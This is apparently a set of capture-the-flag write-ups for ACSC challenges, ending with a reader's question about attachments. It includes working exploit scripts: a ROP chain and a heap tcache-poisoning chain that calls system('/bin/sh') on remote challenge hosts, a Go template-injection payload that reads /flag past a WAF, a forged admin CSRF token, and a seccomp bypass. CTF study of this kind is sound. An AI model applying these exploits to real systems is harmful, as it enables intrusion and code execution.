Discord flag.
Brute force byte-by-byte and apply encrypt function to verify.
from pwn import *
b = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
c = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
flag = b''
for x in c:
for f in range(32, 128):
s = 0
for i in range(7):
if f & (64>>i):
s += b[i]
if s == x:
flag += p8(f)
print(flag)
Create 2 users, login both users, go to /addadmin
to generate $_SESSION['X']
. Using it and our usernames, we can solve the linear equation system:
Given U1, U2 as the usernames, M = 0xc4f3b4b3deadbeef1337c0dedeadc0dd
(U1 * A + C) % M
(U2 * A + C) % M
Having A and C in hand, we can generate csrf-token
for user admin
. Tell bot to go to http://localhost/addadmin
with correct parameters to add new admin user, then login to get flag.
import re
import requests as rq
from pwn import *
host = 'http://admin-dashboard.chal.ctf.acsc.asia/'
s1 = rq.Session()
s2 = rq.Session()
s3 = rq.Session()
s4 = rq.Session()
s1.get(host + 'login?username=vbnn&password=vbnn')
s2.get(host + 'login?username=vbmn&password=vbmn')
s3.get(host + 'login?username=assf&password=assf')
s4.get(host + 'login?username=qwerqqqq&password=qwerqqqq')
dat = s1.get(host + 'addadmin')
a = re.search('name="csrf-token" value="(.+)"', dat.text)
X1 = int(a.group(1), 16)
dat = s2.get(host + 'addadmin')
a = re.search('name="csrf-token" value="(.+)"', dat.text)
X2 = int(a.group(1), 16)
dat = s3.get(host + 'addadmin')
a = re.search('name="csrf-token" value="(.+)"', dat.text)
X3 = int(a.group(1), 16)
dat = s4.get(host + 'addadmin')
a = re.search('name="csrf-token" value="(.+)"', dat.text)
X4 = int(a.group(1), 16)
M = 0xc4f3b4b3deadbeef1337c0dedeadc0dd
U1 = u32(b'nnbv')
U2 = u32(b'nmbv')
U3 = u32(b'fssa')
U4 = u64(b'qqqqrewq')
A = (((X2 + M - X1) % M) * pow(U2 - U1, -1, M)) % M
B = (X1 + M - ((U1 * A) % M)) % M
print(hex(A))
print(hex(B))
print(hex(X1), hex((U1 * A + B) % M))
print(hex(X2), hex((U2 * A + B) % M))
print(hex(X3), hex((U3 * A + B) % M))
print(hex(X4), hex((U4 * A + B) % M))
U3 = 0x61646d696e
url = 'http://localhost/addadmin?username=abababab&password=abababab&csrf-token=' + hex((U3 * A + B) % M)[2:]
print(url)
Deobfuscate the script, we saw that it's just simple RSA implementation.
n = 102485920709293920960707756584705775468454691825076664322258584664868769934448324119355259368527744283871914200533016696094198363871954854914764112265927879076270224497604163862376216622747032044206770015232334951699373496904252792421180061721266555715826538102269191846795895407595749835308753191557026877839
e = 257
c = 17172368473463775987747325243524856596273056872571298967444142775606729659218809227594603445966794185371450507695322308374038345885732451619228797886053516375083650311753091110338343431079576203599449606477915662537089095568830140907282898414145413832115081384076499237876637981486168293932485880888689617801
p = 7902539523670688752549365452498382985299018894363342133531323012327857960923461934902488879455588857566708722435022350733082133933092267702307821906957977
q = 12968732443832149370169937542849870171809900018949150636308457250052280094029579199566526477098080152448048695730264594884959310262897810775613424383036007
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(hex(m))
text = ''
while m > 0:
text += chr(m & 0xff)
m >>= 8
print(text[::-1])
Traditional ROP challenge, just need a bit tweak to pass the correct character check.
from pwn import *
r = remote('vaccine-2.chal.ctf.acsc.asia', 1337)
#r = process('./vaccine')
#gdb.attach(r, 'b *0x401375')
rop = (b'A' + b'\x00' * 111 + b'A').ljust(0x100, b'\x00')
rop += p64(0x0) # rbp
rop += p64(0x4013d5) # pop rbx ; pop rbp ; ret
rop += b'flag\x00\x00\x00\x00'
rop += p64(0x404080 + 0x3d) # bss flag.txt
rop += p64(0x40121c) # add dword ptr [rbp - 0x3d], ebx ; nop ; ret)
rop += p64(0x4013d5) # pop rbx ; pop rbp ; ret
rop += b'.txt\x00\x00\x00\x00'
rop += p64(0x404084 + 0x3d) # bss flag.txt
rop += p64(0x40121c) # add dword ptr [rbp - 0x3d], ebx ; nop ; ret)
rop += p64(0x4013d5) # pop rbx ; pop rbp ; ret
rop += b'r\x00\x00\x00\x00\x00\x00\x00'
rop += p64(0x404089 + 0x3d) # bss flag.txt
rop += p64(0x40121c) # add dword ptr [rbp - 0x3d], ebx ; nop ; ret)
rop += p64(0x401441) # pop rsi ; pop r15 ; ret
rop += p64(0x404089) # r
rop += p64(0x0)
rop += p64(0x401443) # pop rdi ; ret
rop += p64(0x404080) # bss flag.txt
rop += p64(0x40121d) # pop rbp ; ret
rop += p64(0x404800)
rop += p64(0x40101a) # ret
rop += p64(0x401375) # output flag
rop += b'\x00' * 0x188
rop += p64(0x401293) # flush stdout
r.sendlineafter(b': ', rop)
r.interactive()
Importing os
and calling syscalls won't trigger close, so just readdir
to find flag file name then read
it.
#!/usr/bin/env python3
import seccomp
#code = '''exec(compile("import os; it = os.scandir(); print(it.__next__(), flush=True);", '<string>','exec'))'''
code = '''exec(compile("import os; f = os.open('flag-0479f1dcda629bbe833598bce876a647.txt', os.O_RDONLY); print(os.read(f, 256), flush=True); ", '<string>','exec'))'''
if __name__ == '__main__':
f = seccomp.SyscallFilter(defaction=seccomp.ALLOW)
f.add_rule(seccomp.KILL, 'close')
f.load()
eval(code)
The program allows arbitrary template with echo.Context
as the parameter, so can abuse it to read flag. Bypass WAF by seeking the file by 1.
{{ $x := .Echo.Filesystem.Open "/flag" }} {{ $x.Seek 1 0 }} {{ .Stream 200 "text/plain" $x }}
Rough explaination:
realloc(ptr, 0)
will free ptr- Abuse this to free chunk that other idx point to -> Leak tcache key (also heap base)
- Use tcache poisoning to double free and alloc new chunk at
tcache_perthread_struct
- Point another idx to this chunk, also set tcache count of size
0x290
to 7 - Free
tcache_perthread_struct
-> Chunk will be put in unsorted bin -> Can leak libc address - Control
tcache_perthread_struct
to pointentry
of some sizes totls_dtor_list
and TEB block to bypassPTR_DEMANGLE
- Point
tls_dtor_list
to controlled data on the heap to callsystem('/bin/sh')
#!/usr/bin/env python3
from pwn import *
l = ELF('./libc.so.6')
r = remote('re.chal.ctf.acsc.asia', 9999)
#gdb.attach(r)
def edit(idx, size, data):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b': ', str(idx).encode('ascii'))
r.sendlineafter(b': ', str(size).encode('ascii'))
if size > 1:
r.sendafter(b': ', data)
def show():
r.sendlineafter(b'> ', b'2')
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
# Leak heap base
edit(0, 0x68, b'aaaa')
edit(0, 0x0, b'')
edit(1, 0x68, b'bbbb')
edit(0, 0x0, b'')
show()
r.recvn(4)
heap = u64(r.recvn(5) + b'\x00\x00\x00') << 12
log.info('heap = 0x%x', heap)
#
edit(1, 0x68, b'\x00' * 16)
edit(0, 0x0, b'')
edit(1, 0x68, p64((heap + 0x10) ^ (heap >> 12)))
edit(8, 0x18, b'cccc')
edit(8, 0x0, b'')
edit(9, 0x18, b'dddd')
edit(8, 0x0, b'')
edit(9, 0x18, b'\x00' * 16)
edit(8, 0x0, b'')
edit(9, 0x18, p64((heap + 0x10) ^ (heap >> 12)))
edit(2, 0x68, b'\n')
edit(3, 0x68, b'\x07\x00' * 0x28)
edit(4, 0x18, b'\n')
edit(5, 0x18, b'\n')
edit(5, 0x0, b'')
show()
r.recvline()
r.recvline()
r.recvn(4)
l.address = u64(r.recvn(6) + b'\x00\x00') - 0x219ce0
log.info('libc = 0x%x', l.address)
edit(0, 0x78, b'\x01\x00' * 0x3b)
edit(1, 0x78, p64(l.address - 0x2920) + p64(l.address - 0x2890) + p64(rol(l.symbols['system'], 0x11, 64)) + p64(l.address + 0x1d8698) + p64(0) * 2)
edit(6, 0x18, p64(0) + p64(heap + 0xa0))
edit(7, 0x28, p64(0))
r.sendlineafter(b'> ', b'0')
r.interactive()
Reverse the program, we can collect the ciphertext and the key generator function. Since I don't know how to simplify it, I generated all possible key and calculate correct index for each character.
#include <stdio.h>
#include <limits.h>
#include <algorithm>
unsigned int x = 0x3D2964F0;
unsigned int fuck()
{
unsigned int v1 = x & 1;
x >>= 1;
x ^= -v1 & 0x80200003;
return x;
}
unsigned char ida_chars[] =
{
0x01, 0x19, 0xEF, 0x5A, 0xFA, 0xC8, 0x2E, 0x69, 0x31, 0xD7,
0x81, 0x21
};
int main()
{
setbuf(stdout, NULL);
int countEven = 0, countOdd = 0;
unsigned long v = 1;
std::pair<unsigned long, unsigned int> abc[12];
abc[0] = {1, 0};
for (int i = 1; i < 12; ++i) {
v *= 42lu;
abc[i] = {abc[i - 1].first + v, i};
}
for (int i = 0; i < 12; ++i) {
abc[i].first = (abc[i].first - 1) % __UINT32_MAX__;
}
std::sort(abc, abc + 12);
for (unsigned int i = 0, j = 0; i < __UINT32_MAX__ && j < 12; ++i) {
fuck();
if (abc[j].first % (unsigned long)__UINT32_MAX__ == i) {
ida_chars[abc[j++].second] ^= x & 0xff;
}
}
printf("ACSC{");
for (int i = 0; i < 12; ++i) {
printf("%c", ida_chars[i]);
}
puts("}");
}
where I can get the attachment?I want to get the "pwn_re"